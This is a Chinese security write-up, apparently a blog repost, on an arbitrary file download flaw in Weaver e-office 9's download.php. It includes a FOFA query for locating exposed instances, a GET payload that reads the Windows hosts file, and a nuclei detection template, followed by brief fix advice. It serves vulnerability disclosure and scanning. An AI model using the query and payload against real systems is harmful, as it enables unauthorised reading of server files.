泛微e-office download.php存在任意文件下载

扫码领资料

获网安教程

免费&进群

本文由掌控安全学院- a530857523 投稿

0x01 应用介绍

泛微e-office系统是标准、易用、快速部署上线的专业协同OA软件,国内协同OA办公领域领导品牌,致力于为企业用户提供专业OA办公系统、移动OA应用等协同OA整体解决方案

0x02 影响版本及语法特征

泛微e-offcie9
fofa：app=”泛微-EOffice” && body=”您的浏览器处于弹出窗口阻止模式！建议您关闭”

0x03 漏洞复现

payload：/general/file_folder/file_new/neworedit/download.php?filename=hosts&dir=C:WindowsSystem32driversetc
直接使用get请求拼接该payload即可下载目标主机hosts文件

下载完成后打开文件查看

下载服务器文件复现成功

nuclei

id: fanwei-E-Office-file-read
info:
  name: fanwei-E-Office-file-read
  author: fanwei-E-Office-file-read
  severity: critical
  tags: fanwei

http:
  - raw:
    - |
        GET /general/file_folder/file_new/neworedit/download.php?filename=hosts&dir=C:WindowsSystem32driversetc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "127.0.0.1"
      - type: status
        status:
          - 200

修复建议

使用最新版本的应用

限制漏洞路径的访问

没看够~？欢迎关注！

分享本文到朋友圈，可以凭截图找老师领取

上千教程+工具+交流群+靶场账号哦

分享后扫码加我！

Xray挂机刷漏洞

零基础学黑客，该怎么学？

网络安全人员必考的几本证书！

文库｜内网神器cs4.0使用说明书

代码审计|这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

代理池工具撰写|只有无尽的跳转，没有封禁的IP！

点赞+在看支持一下吧~感谢看官老爷~

你的点赞是我更新的动力

原文始发于微信公众号（掌控安全EDU）：泛微e-office download.php存在任意文件下载